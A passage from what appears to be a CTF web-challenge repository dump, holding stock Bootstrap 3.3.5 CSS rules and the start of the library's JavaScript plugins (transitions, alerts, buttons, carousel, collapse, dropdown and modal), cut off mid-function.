0; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } .carousel-inner > .active, .carousel-inner > .next, .carousel-inner > .prev { display: block; } .carousel-inner > .active { left: 0; } .carousel-inner > .next, .carousel-inner > .prev { position: absolute; top: 0; width: 100%; } .carousel-inner > .next { left: 100%; } .carousel-inner > .prev { left: -100%; } .carousel-inner > .next.left, .carousel-inner > .prev.right { left: 0; } .carousel-inner > .active.left { left: -100%; } .carousel-inner > .active.right { left: 100%; } .carousel-control { position: absolute; top: 0; bottom: 0; left: 0; width: 15%; font-size: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, .6); filter: alpha(opacity=50); opacity: .5; } .carousel-control.left { background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); background-image: -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001))); background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1); background-repeat: repeat-x; } .carousel-control.right { right: 0; left: auto; background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); background-image: -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5))); background-image: linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1); background-repeat: repeat-x; } .carousel-control:hover, .carousel-control:focus { color: #fff; text-decoration: none; filter: alpha(opacity=90); outline: 0; opacity: .9; } .carousel-control .icon-prev, .carousel-control .icon-next, .carousel-control .glyphicon-chevron-left, .carousel-control .glyphicon-chevron-right { position: absolute; top: 50%; z-index: 5; display: inline-block; margin-top: -10px; } .carousel-control .icon-prev, .carousel-control .glyphicon-chevron-left { left: 50%; margin-left: -10px; } .carousel-control .icon-next, .carousel-control .glyphicon-chevron-right { right: 50%; margin-right: -10px; } .carousel-control .icon-prev, .carousel-control .icon-next { width: 20px; height: 20px; font-family: serif; line-height: 1; } .carousel-control .icon-prev:before { content: '\2039'; } .carousel-control .icon-next:before { content: '\203a'; } .carousel-indicators { position: absolute; bottom: 10px; left: 50%; z-index: 15; width: 60%; padding-left: 0; margin-left: -30%; text-align: center; list-style: none; } .carousel-indicators li { display: inline-block; width: 10px; height: 10px; margin: 1px; text-indent: -999px; cursor: pointer; background-color: #000 \9; background-color: rgba(0, 0, 0, 0); border: 1px solid #fff; border-radius: 10px; } .carousel-indicators .active { width: 12px; height: 12px; margin: 0; background-color: #fff; } .carousel-caption { position: absolute; right: 15%; bottom: 20px; left: 15%; z-index: 10; padding-top: 20px; padding-bottom: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, .6); } .carousel-caption .btn { text-shadow: none; } @media screen and (min-width: 768px) { .carousel-control .glyphicon-chevron-left, .carousel-control .glyphicon-chevron-right, .carousel-control .icon-prev, .carousel-control .icon-next { width: 30px; height: 30px; margin-top: -15px; font-size: 30px; } .carousel-control .glyphicon-chevron-left, .carousel-control .icon-prev { margin-left: -15px; } .carousel-control .glyphicon-chevron-right, .carousel-control .icon-next { margin-right: -15px; } .carousel-caption { right: 20%; left: 20%; padding-bottom: 30px; } .carousel-indicators { bottom: 20px; } } .clearfix:before, .clearfix:after, .dl-horizontal dd:before, .dl-horizontal dd:after, .container:before, .container:after, .container-fluid:before, .container-fluid:after, .row:before, .row:after, .form-horizontal .form-group:before, .form-horizontal .form-group:after, .btn-toolbar:before, .btn-toolbar:after, .btn-group-vertical > .btn-group:before, .btn-group-vertical > .btn-group:after, .nav:before, .nav:after, .navbar:before, .navbar:after, .navbar-header:before, .navbar-header:after, .navbar-collapse:before, .navbar-collapse:after, .pager:before, .pager:after, .panel-body:before, .panel-body:after, .modal-footer:before, .modal-footer:after { display: table; content: " "; } .clearfix:after, .dl-horizontal dd:after, .container:after, .container-fluid:after, .row:after, .form-horizontal .form-group:after, .btn-toolbar:after, .btn-group-vertical > .btn-group:after, .nav:after, .navbar:after, .navbar-header:after, .navbar-collapse:after, .pager:after, .panel-body:after, .modal-footer:after { clear: both; } .center-block { display: block; margin-right: auto; margin-left: auto; } .pull-right { float: right !important; } .pull-left { float: left !important; } .hide { display: none !important; } .show { display: block !important; } .invisible { visibility: hidden; } .text-hide { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0; } .hidden { display: none !important; } .affix { position: fixed; } @-ms-viewport { width: device-width; } .visible-xs, .visible-sm, .visible-md, .visible-lg { display: none !important; } .visible-xs-block, .visible-xs-inline, .visible-xs-inline-block, .visible-sm-block, .visible-sm-inline, .visible-sm-inline-block, .visible-md-block, .visible-md-inline, .visible-md-inline-block, .visible-lg-block, .visible-lg-inline, .visible-lg-inline-block { display: none !important; } @media (max-width: 767px) { .visible-xs { display: block !important; } table.visible-xs { display: table !important; } tr.visible-xs { display: table-row !important; } th.visible-xs, td.visible-xs { display: table-cell !important; } } @media (max-width: 767px) { .visible-xs-block { display: block !important; } } @media (max-width: 767px) { .visible-xs-inline { display: inline !important; } } @media (max-width: 767px) { .visible-xs-inline-block { display: inline-block !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm { display: block !important; } table.visible-sm { display: table !important; } tr.visible-sm { display: table-row !important; } th.visible-sm, td.visible-sm { display: table-cell !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm-block { display: block !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm-inline { display: inline !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm-inline-block { display: inline-block !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md { display: block !important; } table.visible-md { display: table !important; } tr.visible-md { display: table-row !important; } th.visible-md, td.visible-md { display: table-cell !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md-block { display: block !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md-inline { display: inline !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md-inline-block { display: inline-block !important; } } @media (min-width: 1200px) { .visible-lg { display: block !important; } table.visible-lg { display: table !important; } tr.visible-lg { display: table-row !important; } th.visible-lg, td.visible-lg { display: table-cell !important; } } @media (min-width: 1200px) { .visible-lg-block { display: block !important; } } @media (min-width: 1200px) { .visible-lg-inline { display: inline !important; } } @media (min-width: 1200px) { .visible-lg-inline-block { display: inline-block !important; } } @media (max-width: 767px) { .hidden-xs { display: none !important; } } @media (min-width: 768px) and (max-width: 991px) { .hidden-sm { display: none !important; } } @media (min-width: 992px) and (max-width: 1199px) { .hidden-md { display: none !important; } } @media (min-width: 1200px) { .hidden-lg { display: none !important; } } .visible-print { display: none !important; } @media print { .visible-print { display: block !important; } table.visible-print { display: table !important; } tr.visible-print { display: table-row !important; } th.visible-print, td.visible-print { display: table-cell !important; } } .visible-print-block { display: none !important; } @media print { .visible-print-block { display: block !important; } } .visible-print-inline { display: none !important; } @media print { .visible-print-inline { display: inline !important; } } .visible-print-inline-block { display: none !important; } @media print { .visible-print-inline-block { display: inline-block !important; } } @media print { .hidden-print { display: none !important; } } /*# sourceMappingURL=bootstrap.css.map */ ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/bootstrap3.3.5/js/bootstrap.js ================================================ /*! * Bootstrap v3.3.5 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under the MIT license */ if (typeof jQuery === 'undefined') { throw new Error('Bootstrap\'s JavaScript requires jQuery') } +function ($) { 'use strict'; var version = $.fn.jquery.split(' ')[0].split('.') if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1)) { throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher') } }(jQuery); /* ======================================================================== * Bootstrap: transition.js v3.3.5 * http://getbootstrap.com/javascript/#transitions * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/) // ============================================================ function transitionEnd() { var el = document.createElement('bootstrap') var transEndEventNames = { WebkitTransition : 'webkitTransitionEnd', MozTransition : 'transitionend', OTransition : 'oTransitionEnd otransitionend', transition : 'transitionend' } for (var name in transEndEventNames) { if (el.style[name] !== undefined) { return { end: transEndEventNames[name] } } } return false // explicit for ie8 ( ._.) } // http://blog.alexmaccaw.com/css-transitions $.fn.emulateTransitionEnd = function (duration) { var called = false var $el = this $(this).one('bsTransitionEnd', function () { called = true }) var callback = function () { if (!called) $($el).trigger($.support.transition.end) } setTimeout(callback, duration) return this } $(function () { $.support.transition = transitionEnd() if (!$.support.transition) return $.event.special.bsTransitionEnd = { bindType: $.support.transition.end, delegateType: $.support.transition.end, handle: function (e) { if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments) } } }) }(jQuery); /* ======================================================================== * Bootstrap: alert.js v3.3.5 * http://getbootstrap.com/javascript/#alerts * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // ALERT CLASS DEFINITION // ====================== var dismiss = '[data-dismiss="alert"]' var Alert = function (el) { $(el).on('click', dismiss, this.close) } Alert.VERSION = '3.3.5' Alert.TRANSITION_DURATION = 150 Alert.prototype.close = function (e) { var $this = $(this) var selector = $this.attr('data-target') if (!selector) { selector = $this.attr('href') selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } var $parent = $(selector) if (e) e.preventDefault() if (!$parent.length) { $parent = $this.closest('.alert') } $parent.trigger(e = $.Event('close.bs.alert')) if (e.isDefaultPrevented()) return $parent.removeClass('in') function removeElement() { // detach from parent, fire event then clean up data $parent.detach().trigger('closed.bs.alert').remove() } $.support.transition && $parent.hasClass('fade') ? $parent .one('bsTransitionEnd', removeElement) .emulateTransitionEnd(Alert.TRANSITION_DURATION) : removeElement() } // ALERT PLUGIN DEFINITION // ======================= function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.alert') if (!data) $this.data('bs.alert', (data = new Alert(this))) if (typeof option == 'string') data[option].call($this) }) } var old = $.fn.alert $.fn.alert = Plugin $.fn.alert.Constructor = Alert // ALERT NO CONFLICT // ================= $.fn.alert.noConflict = function () { $.fn.alert = old return this } // ALERT DATA-API // ============== $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close) }(jQuery); /* ======================================================================== * Bootstrap: button.js v3.3.5 * http://getbootstrap.com/javascript/#buttons * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // BUTTON PUBLIC CLASS DEFINITION // ============================== var Button = function (element, options) { this.$element = $(element) this.options = $.extend({}, Button.DEFAULTS, options) this.isLoading = false } Button.VERSION = '3.3.5' Button.DEFAULTS = { loadingText: 'loading...' } Button.prototype.setState = function (state) { var d = 'disabled' var $el = this.$element var val = $el.is('input') ? 'val' : 'html' var data = $el.data() state += 'Text' if (data.resetText == null) $el.data('resetText', $el[val]()) // push to event loop to allow forms to submit setTimeout($.proxy(function () { $el[val](data[state] == null ? this.options[state] : data[state]) if (state == 'loadingText') { this.isLoading = true $el.addClass(d).attr(d, d) } else if (this.isLoading) { this.isLoading = false $el.removeClass(d).removeAttr(d) } }, this), 0) } Button.prototype.toggle = function () { var changed = true var $parent = this.$element.closest('[data-toggle="buttons"]') if ($parent.length) { var $input = this.$element.find('input') if ($input.prop('type') == 'radio') { if ($input.prop('checked')) changed = false $parent.find('.active').removeClass('active') this.$element.addClass('active') } else if ($input.prop('type') == 'checkbox') { if (($input.prop('checked')) !== this.$element.hasClass('active')) changed = false this.$element.toggleClass('active') } $input.prop('checked', this.$element.hasClass('active')) if (changed) $input.trigger('change') } else { this.$element.attr('aria-pressed', !this.$element.hasClass('active')) this.$element.toggleClass('active') } } // BUTTON PLUGIN DEFINITION // ======================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.button') var options = typeof option == 'object' && option if (!data) $this.data('bs.button', (data = new Button(this, options))) if (option == 'toggle') data.toggle() else if (option) data.setState(option) }) } var old = $.fn.button $.fn.button = Plugin $.fn.button.Constructor = Button // BUTTON NO CONFLICT // ================== $.fn.button.noConflict = function () { $.fn.button = old return this } // BUTTON DATA-API // =============== $(document) .on('click.bs.button.data-api', '[data-toggle^="button"]', function (e) { var $btn = $(e.target) if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn') Plugin.call($btn, 'toggle') if (!($(e.target).is('input[type="radio"]') || $(e.target).is('input[type="checkbox"]'))) e.preventDefault() }) .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^="button"]', function (e) { $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type)) }) }(jQuery); /* ======================================================================== * Bootstrap: carousel.js v3.3.5 * http://getbootstrap.com/javascript/#carousel * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // CAROUSEL CLASS DEFINITION // ========================= var Carousel = function (element, options) { this.$element = $(element) this.$indicators = this.$element.find('.carousel-indicators') this.options = options this.paused = null this.sliding = null this.interval = null this.$active = null this.$items = null this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this)) this.options.pause == 'hover' && !('ontouchstart' in document.documentElement) && this.$element .on('mouseenter.bs.carousel', $.proxy(this.pause, this)) .on('mouseleave.bs.carousel', $.proxy(this.cycle, this)) } Carousel.VERSION = '3.3.5' Carousel.TRANSITION_DURATION = 600 Carousel.DEFAULTS = { interval: 5000, pause: 'hover', wrap: true, keyboard: true } Carousel.prototype.keydown = function (e) { if (/input|textarea/i.test(e.target.tagName)) return switch (e.which) { case 37: this.prev(); break case 39: this.next(); break default: return } e.preventDefault() } Carousel.prototype.cycle = function (e) { e || (this.paused = false) this.interval && clearInterval(this.interval) this.options.interval && !this.paused && (this.interval = setInterval($.proxy(this.next, this), this.options.interval)) return this } Carousel.prototype.getItemIndex = function (item) { this.$items = item.parent().children('.item') return this.$items.index(item || this.$active) } Carousel.prototype.getItemForDirection = function (direction, active) { var activeIndex = this.getItemIndex(active) var willWrap = (direction == 'prev' && activeIndex === 0) || (direction == 'next' && activeIndex == (this.$items.length - 1)) if (willWrap && !this.options.wrap) return active var delta = direction == 'prev' ? -1 : 1 var itemIndex = (activeIndex + delta) % this.$items.length return this.$items.eq(itemIndex) } Carousel.prototype.to = function (pos) { var that = this var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active')) if (pos > (this.$items.length - 1) || pos < 0) return if (this.sliding) return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, "slid" if (activeIndex == pos) return this.pause().cycle() return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos)) } Carousel.prototype.pause = function (e) { e || (this.paused = true) if (this.$element.find('.next, .prev').length && $.support.transition) { this.$element.trigger($.support.transition.end) this.cycle(true) } this.interval = clearInterval(this.interval) return this } Carousel.prototype.next = function () { if (this.sliding) return return this.slide('next') } Carousel.prototype.prev = function () { if (this.sliding) return return this.slide('prev') } Carousel.prototype.slide = function (type, next) { var $active = this.$element.find('.item.active') var $next = next || this.getItemForDirection(type, $active) var isCycling = this.interval var direction = type == 'next' ? 'left' : 'right' var that = this if ($next.hasClass('active')) return (this.sliding = false) var relatedTarget = $next[0] var slideEvent = $.Event('slide.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) this.$element.trigger(slideEvent) if (slideEvent.isDefaultPrevented()) return this.sliding = true isCycling && this.pause() if (this.$indicators.length) { this.$indicators.find('.active').removeClass('active') var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)]) $nextIndicator && $nextIndicator.addClass('active') } var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, "slid" if ($.support.transition && this.$element.hasClass('slide')) { $next.addClass(type) $next[0].offsetWidth // force reflow $active.addClass(direction) $next.addClass(direction) $active .one('bsTransitionEnd', function () { $next.removeClass([type, direction].join(' ')).addClass('active') $active.removeClass(['active', direction].join(' ')) that.sliding = false setTimeout(function () { that.$element.trigger(slidEvent) }, 0) }) .emulateTransitionEnd(Carousel.TRANSITION_DURATION) } else { $active.removeClass('active') $next.addClass('active') this.sliding = false this.$element.trigger(slidEvent) } isCycling && this.cycle() return this } // CAROUSEL PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.carousel') var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option) var action = typeof option == 'string' ? option : options.slide if (!data) $this.data('bs.carousel', (data = new Carousel(this, options))) if (typeof option == 'number') data.to(option) else if (action) data[action]() else if (options.interval) data.pause().cycle() }) } var old = $.fn.carousel $.fn.carousel = Plugin $.fn.carousel.Constructor = Carousel // CAROUSEL NO CONFLICT // ==================== $.fn.carousel.noConflict = function () { $.fn.carousel = old return this } // CAROUSEL DATA-API // ================= var clickHandler = function (e) { var href var $this = $(this) var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) // strip for ie7 if (!$target.hasClass('carousel')) return var options = $.extend({}, $target.data(), $this.data()) var slideIndex = $this.attr('data-slide-to') if (slideIndex) options.interval = false Plugin.call($target, options) if (slideIndex) { $target.data('bs.carousel').to(slideIndex) } e.preventDefault() } $(document) .on('click.bs.carousel.data-api', '[data-slide]', clickHandler) .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler) $(window).on('load', function () { $('[data-ride="carousel"]').each(function () { var $carousel = $(this) Plugin.call($carousel, $carousel.data()) }) }) }(jQuery); /* ======================================================================== * Bootstrap: collapse.js v3.3.5 * http://getbootstrap.com/javascript/#collapse * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // COLLAPSE PUBLIC CLASS DEFINITION // ================================ var Collapse = function (element, options) { this.$element = $(element) this.options = $.extend({}, Collapse.DEFAULTS, options) this.$trigger = $('[data-toggle="collapse"][href="#' + element.id + '"],' + '[data-toggle="collapse"][data-target="#' + element.id + '"]') this.transitioning = null if (this.options.parent) { this.$parent = this.getParent() } else { this.addAriaAndCollapsedClass(this.$element, this.$trigger) } if (this.options.toggle) this.toggle() } Collapse.VERSION = '3.3.5' Collapse.TRANSITION_DURATION = 350 Collapse.DEFAULTS = { toggle: true } Collapse.prototype.dimension = function () { var hasWidth = this.$element.hasClass('width') return hasWidth ? 'width' : 'height' } Collapse.prototype.show = function () { if (this.transitioning || this.$element.hasClass('in')) return var activesData var actives = this.$parent && this.$parent.children('.panel').children('.in, .collapsing') if (actives && actives.length) { activesData = actives.data('bs.collapse') if (activesData && activesData.transitioning) return } var startEvent = $.Event('show.bs.collapse') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return if (actives && actives.length) { Plugin.call(actives, 'hide') activesData || actives.data('bs.collapse', null) } var dimension = this.dimension() this.$element .removeClass('collapse') .addClass('collapsing')[dimension](0) .attr('aria-expanded', true) this.$trigger .removeClass('collapsed') .attr('aria-expanded', true) this.transitioning = 1 var complete = function () { this.$element .removeClass('collapsing') .addClass('collapse in')[dimension]('') this.transitioning = 0 this.$element .trigger('shown.bs.collapse') } if (!$.support.transition) return complete.call(this) var scrollSize = $.camelCase(['scroll', dimension].join('-')) this.$element .one('bsTransitionEnd', $.proxy(complete, this)) .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize]) } Collapse.prototype.hide = function () { if (this.transitioning || !this.$element.hasClass('in')) return var startEvent = $.Event('hide.bs.collapse') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return var dimension = this.dimension() this.$element[dimension](this.$element[dimension]())[0].offsetHeight this.$element .addClass('collapsing') .removeClass('collapse in') .attr('aria-expanded', false) this.$trigger .addClass('collapsed') .attr('aria-expanded', false) this.transitioning = 1 var complete = function () { this.transitioning = 0 this.$element .removeClass('collapsing') .addClass('collapse') .trigger('hidden.bs.collapse') } if (!$.support.transition) return complete.call(this) this.$element [dimension](0) .one('bsTransitionEnd', $.proxy(complete, this)) .emulateTransitionEnd(Collapse.TRANSITION_DURATION) } Collapse.prototype.toggle = function () { this[this.$element.hasClass('in') ? 'hide' : 'show']() } Collapse.prototype.getParent = function () { return $(this.options.parent) .find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]') .each($.proxy(function (i, element) { var $element = $(element) this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element) }, this)) .end() } Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) { var isOpen = $element.hasClass('in') $element.attr('aria-expanded', isOpen) $trigger .toggleClass('collapsed', !isOpen) .attr('aria-expanded', isOpen) } function getTargetFromTrigger($trigger) { var href var target = $trigger.attr('data-target') || (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') // strip for ie7 return $(target) } // COLLAPSE PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.collapse') var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data && options.toggle && /show|hide/.test(option)) options.toggle = false if (!data) $this.data('bs.collapse', (data = new Collapse(this, options))) if (typeof option == 'string') data[option]() }) } var old = $.fn.collapse $.fn.collapse = Plugin $.fn.collapse.Constructor = Collapse // COLLAPSE NO CONFLICT // ==================== $.fn.collapse.noConflict = function () { $.fn.collapse = old return this } // COLLAPSE DATA-API // ================= $(document).on('click.bs.collapse.data-api', '[data-toggle="collapse"]', function (e) { var $this = $(this) if (!$this.attr('data-target')) e.preventDefault() var $target = getTargetFromTrigger($this) var data = $target.data('bs.collapse') var option = data ? 'toggle' : $this.data() Plugin.call($target, option) }) }(jQuery); /* ======================================================================== * Bootstrap: dropdown.js v3.3.5 * http://getbootstrap.com/javascript/#dropdowns * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // DROPDOWN CLASS DEFINITION // ========================= var backdrop = '.dropdown-backdrop' var toggle = '[data-toggle="dropdown"]' var Dropdown = function (element) { $(element).on('click.bs.dropdown', this.toggle) } Dropdown.VERSION = '3.3.5' function getParent($this) { var selector = $this.attr('data-target') if (!selector) { selector = $this.attr('href') selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } var $parent = selector && $(selector) return $parent && $parent.length ? $parent : $this.parent() } function clearMenus(e) { if (e && e.which === 3) return $(backdrop).remove() $(toggle).each(function () { var $this = $(this) var $parent = getParent($this) var relatedTarget = { relatedTarget: this } if (!$parent.hasClass('open')) return if (e && e.type == 'click' && /input|textarea/i.test(e.target.tagName) && $.contains($parent[0], e.target)) return $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget)) if (e.isDefaultPrevented()) return $this.attr('aria-expanded', 'false') $parent.removeClass('open').trigger('hidden.bs.dropdown', relatedTarget) }) } Dropdown.prototype.toggle = function (e) { var $this = $(this) if ($this.is('.disabled, :disabled')) return var $parent = getParent($this) var isActive = $parent.hasClass('open') clearMenus() if (!isActive) { if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) { // if mobile we use a backdrop because click events don't delegate $(document.createElement('div')) .addClass('dropdown-backdrop') .insertAfter($(this)) .on('click', clearMenus) } var relatedTarget = { relatedTarget: this } $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget)) if (e.isDefaultPrevented()) return $this .trigger('focus') .attr('aria-expanded', 'true') $parent .toggleClass('open') .trigger('shown.bs.dropdown', relatedTarget) } return false } Dropdown.prototype.keydown = function (e) { if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return var $this = $(this) e.preventDefault() e.stopPropagation() if ($this.is('.disabled, :disabled')) return var $parent = getParent($this) var isActive = $parent.hasClass('open') if (!isActive && e.which != 27 || isActive && e.which == 27) { if (e.which == 27) $parent.find(toggle).trigger('focus') return $this.trigger('click') } var desc = ' li:not(.disabled):visible a' var $items = $parent.find('.dropdown-menu' + desc) if (!$items.length) return var index = $items.index(e.target) if (e.which == 38 && index > 0) index-- // up if (e.which == 40 && index < $items.length - 1) index++ // down if (!~index) index = 0 $items.eq(index).trigger('focus') } // DROPDOWN PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.dropdown') if (!data) $this.data('bs.dropdown', (data = new Dropdown(this))) if (typeof option == 'string') data[option].call($this) }) } var old = $.fn.dropdown $.fn.dropdown = Plugin $.fn.dropdown.Constructor = Dropdown // DROPDOWN NO CONFLICT // ==================== $.fn.dropdown.noConflict = function () { $.fn.dropdown = old return this } // APPLY TO STANDARD DROPDOWN ELEMENTS // =================================== $(document) .on('click.bs.dropdown.data-api', clearMenus) .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() }) .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle) .on('keydown.bs.dropdown.data-api', toggle, Dropdown.prototype.keydown) .on('keydown.bs.dropdown.data-api', '.dropdown-menu', Dropdown.prototype.keydown) }(jQuery); /* ======================================================================== * Bootstrap: modal.js v3.3.5 * http://getbootstrap.com/javascript/#modals * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // MODAL CLASS DEFINITION // ====================== var Modal = function (element, options) { this.options = options this.$body = $(document.body) this.$element = $(element) this.$dialog = this.$element.find('.modal-dialog') this.$backdrop = null this.isShown = null this.originalBodyPad = null this.scrollbarWidth = 0 this.ignoreBackdropClick = false if (this.options.remote) { this.$element .find('.modal-content') .load(this.options.remote, $.proxy(function () { this.$element.trigger('loaded.bs.modal') }, this)) } } Modal.VERSION = '3.3.5' Modal.TRANSITION_DURATION = 300 Modal.BACKDROP_TRANSITION_DURATION = 150 Modal.DEFAULTS = { backdrop: true, keyboard: true, show: true } Modal.prototype.toggle = function (_relatedTarget) { return this.isShown ? this.hide() : this.show(_relatedTarget) } Modal.prototype.show = function (_relatedTarget) { var that = this var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget }) this.$element.trigger(e) if (this.isShown || e.isDefaultPrevented()) return this.isShown = true this.checkScrollbar() this.setScrollbar() this.$body.addClass('modal-open') this.escape() this.resize() this.$element.on('click.dismiss.bs.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this)) this.$dialog.on('mousedown.dismiss.bs.modal', function () { that.$element.one('mouseup.dismiss.bs.modal', function (e) { if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true }) }) this.backdrop(function () { var transition = $.support.transition && that.$element.hasClass('fade') if (!that.$element.parent().length) { that.$element.appendTo(that.$body) // don't move modals dom position } that.$element .show() .scrollTop(0) that.adjustDialog() if (transition) { that.$element[0].offsetWidth // force reflow } that.$element.addClass('in') that.enforceFocus() var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget }) transition ? that.$dialog // wait for modal to slide in .one('bsTransitionEnd', function () { that.$element.trigger('focus').trigger(e) }) .emulateTransitionEnd(Modal.TRANSITION_DURATION) : that.$element.trigger('focus').trigger(e) }) } Modal.prototype.hide = function (e) { if (e) e.preventDefault() e = $.Event('hide.bs.modal') this.$element.trigger(e) if (!this.isShown || e.isDefaultPrevented()) return this.isShown = false this.escape() this.resize() $(document).off('focusin.bs.modal') this.$element .removeClass('in') .off('click.dismiss.bs.modal') .off('mouseup.dismiss.bs.modal') this.$dialog.off('mousedown.dismiss.bs.modal') $.support.transition && this.$element.hasClass('fade') ? this.$element .one('bsTransitionEnd', $.proxy(this.hideModal, this)) .emulateTransitionEnd(Modal.TRANSITION_DURATION) : this.hideModal() } Modal.prototype.enforceFocus = function () { $(document) .off('focusin.bs.modal') // guard against infinite focus loop .on('focusin.bs.modal', $.proxy(function (e) { if (this.$element[0] !== e.target && !this.$element.has(e.target).length) { this.$element.trigger('focus') } }, this)) } Modal.prototype.escape = function () { if (this.isShown && this.options.keyboard) { this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) { e.which == 27 && this.hide() }, this)) } else if (!this.isShown) { this.$element.off('keydown.dismiss.bs.modal') } } Modal.prototype.resize = function () { if (this.isShown) { $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this)) } else { $(window).off('resize.bs.modal') } } Modal.prototype.hideModal = function () { var that = this this.$element.hide() this.backdrop(function () { that.$body.removeClass('modal-open') that.resetAdjustments() that.resetScrollbar() that.$element.trigger('hidden.bs.modal') }) } Modal.prototype.removeBackdrop = function () { this.$backdrop && this.$backdrop.remove() this.$backdrop = null } Modal.prototype.backdrop = function (callback) { var that = this var animate = this.$element.hasClass('fade') ? 'fade' : '' if (this.isShown && this.options.backdrop) { var doAnimate = $.support.transition && animate this.$backdrop = $(document.createElement('div')) .addClass('modal-backdrop ' + animate) 